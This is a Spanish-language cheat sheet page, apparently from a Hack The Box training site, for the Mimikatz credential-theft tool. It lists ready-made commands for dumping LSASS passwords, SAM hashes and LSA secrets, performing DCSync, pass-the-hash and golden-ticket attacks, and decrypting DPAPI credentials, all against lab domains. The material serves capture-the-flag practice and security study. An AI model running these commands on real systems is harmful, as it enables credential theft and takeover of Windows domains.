Mimikatz

Mimikatz necesita privilegios de administrador (o SeDebugPrivilege) y Defender lo detecta al momento, así que en máquinas modernas se usa más pypykatz sobre un volcado de LSASS o los módulos de NetExec. Aun así, sus módulos son la referencia para entender qué credenciales guarda Windows.

Plataforma
Windows
Web oficial
github.com/gentilkiwi/mimikatz
En HTB
7 máquinas
Instalación
# Binarios en https://github.com/gentilkiwi/mimikatz/releases (pypykatz en Linux: pipx install pypykatz)

Chuleta de Mimikatz

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
9 comandos

Credenciales

Contraseñas y hashes de LSASS Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Hashes de SAM Víctima
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
Secretos LSA Víctima
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
Leer un volcado de LSASS en Linux con pypykatz
pypykatz lsa minidump lsass.dmp

Dominio

DCSync de krbtgt Víctima
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"
Pass the hash (abre un proceso con esa identidad) Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"
Golden ticket Víctima
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:box.htb /sid:S-1-5-21-XXXX /krbtgt:64f12cddaa88057e06a81b54e73b949b /ptt" "exit"

DPAPI

Descifrar la masterkey con la contraseña del usuario Víctima
.\mimikatz.exe "dpapi::masterkey /in:C:\Users\usuario\AppData\Roaming\Microsoft\Protect\SID\GUID /sid:SID /password:Password123! /protected" "exit"
Descifrar una credencial guardada Víctima
.\mimikatz.exe "dpapi::cred /in:C:\Users\usuario\AppData\Roaming\Microsoft\Credentials\FICHERO /masterkey:MASTERKEY" "exit"

Máquinas de HTB donde se usa Mimikatz

Sacadas de los capítulos de los vídeos de IppSec en los que aparece Mimikatz. El enlace ▶ salta al minuto de esa parte.

Guías que usan Mimikatz